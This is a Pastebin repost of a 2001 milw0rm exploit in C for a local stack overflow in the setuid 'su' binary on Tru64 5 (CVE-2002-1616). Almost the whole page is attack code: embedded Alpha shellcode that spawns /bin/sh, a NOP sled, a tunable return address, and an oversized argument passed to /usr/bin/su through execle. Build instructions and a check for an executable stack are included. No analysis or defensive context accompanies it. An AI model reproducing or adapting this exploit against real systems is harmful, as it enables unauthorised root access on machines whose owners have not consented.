Advertisement
FlyFar

Tru64 5 - 'su' Env Local Stack Overflow - CVE- 2002-1616

Feb 24th, 2024
538
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.18 KB | Cybersecurity | 0 0
  1. /*      Copyright (c) 2000 ADM                                  */
  2. /*      All Rights Reserved                                     */
  3. /*      THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM      */
  4. /*      The copyright notice above does not evidence any        */
  5. /*      actual or intended publication of such source code.     */
  6. /*                                                              */
  7. /*      Title:        Tru64 5 su                                */
  8. /*      Tested under: Tru64 5A  (OSF/1)                         */
  9. /*      By:           K2  (thx horizon,lamont :)                */
  10. /*      Use:          cc -o tru64-su tru64-su.c                 */
  11. /*      Issues:       Tru64 re-implmented non-exec patch,       */
  12. /*                    I'm working on non-exec alpha technique   */
  13. /*                    so it will only work if,                  */
  14. /*                    do this -> "sysconfig -q proc executable_stack" */
  15. /*                    and see if -> "executable_stack = 1"      */
  16. /*                    else?                                     */
  17. /*                    wait for new alpha non-exec stack exploit */
  18. /*                                                              */
  19.  
  20.  
  21. #include <unistd.h>
  22. #include <stdlib.h>
  23. #include <strings.h>
  24. #include <string.h>
  25. #include <stdio.h>
  26.  
  27. #define BUFSIZE 8241
  28. char *nop                               = "\x1f\x04\xff\x47";
  29. char *retaddr                   = "\xe4\xc0\xff\x1f\x01\x00\x00\x00";
  30.  
  31. /* lamont's shellcode */
  32.  
  33. int rawcode[] = {
  34.   0x2230fec4,              /* subq $16,0x13c,$17 [2000]*/
  35.   0x47ff0412,              /* clr $18            [2000]*/
  36.   0x42509532,              /* subq $18, 0x84     [2000]*/
  37.   0x239fffff,              /* xor $18, 0xffffffff, $18 */
  38.   0x4b84169c,
  39.   0x465c0812,
  40.   0xb2510134,              /* stl $18, 0x134($17)[2000]*/
  41.   0x265cff98,              /* lda $18, 0xff978cd0[2000]*/
  42.   0x22528cd1,
  43.   0x465c0812,              /* xor $18, 0xffffffff, $18 */
  44.   0xb2510140,              /* stl $18, 0x140($17)[2000]*/
  45.   0xb6110148,              /* stq $16,0x148($17) [2000]*/
  46.   0xb7f10150,              /* stq $31,0x150($17) [2000]*/
  47.   0x22310148,              /* addq $17,0x148,$17 [2000]*/
  48.   0x225f013a,              /* ldil $18,0x13a     [2000]*/
  49.   0x425ff520,              /* subq $18,0xff,$0   [2000]*/
  50.   0x47ff0412,              /* clr $18            [2000]*/
  51.   0xffffffff,              /* call_pal 0x83      [2000]*/
  52.   0xd21fffed,              /* bsr $16,$l1    ENTRY     */
  53.   0x6e69622f,              /* .ascii "/bin"      [2000]*/
  54.   /* .ascii "/sh\0" is generated */
  55. };
  56.  
  57. int main(int argc, char **argv)
  58. {
  59.   char buf[BUFSIZE+4];
  60.   char *env[2];
  61.   char *cp,*rc;
  62.   int i;
  63.  
  64.   if(argc > 1) retaddr[0]+=atoi(argv[1]);
  65.  
  66.   memset(&buf,'A',BUFSIZE-8);
  67.   cp=(char *) &(buf[BUFSIZE-8]);
  68.  
  69.   for (i=0;i<8;i++)
  70.     *cp++=retaddr[i];
  71.  
  72.   rc=(char *)rawcode;
  73.   cp=buf;
  74.  
  75.   for(i=0;i<8;i++)
  76.     *cp++ = 0x6e;
  77.  
  78.   for(i=0;i<72;i++)
  79.     *cp++ = rc[i];
  80.   for(i=0;i<320;i++)
  81.     *cp++ = nop[i % 4];
  82.   *cp++=rc[72]-80;
  83.   for(i=1;i<8;i++)
  84.     *cp++ = rc[i+72];
  85.  
  86.   env[1]=NULL;
  87.  
  88.   execle("/usr/bin/su","su",buf, NULL,env);
  89.   return(0);
  90. }
  91.  
  92.  
  93. // milw0rm.com [2001-01-26]
  94.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement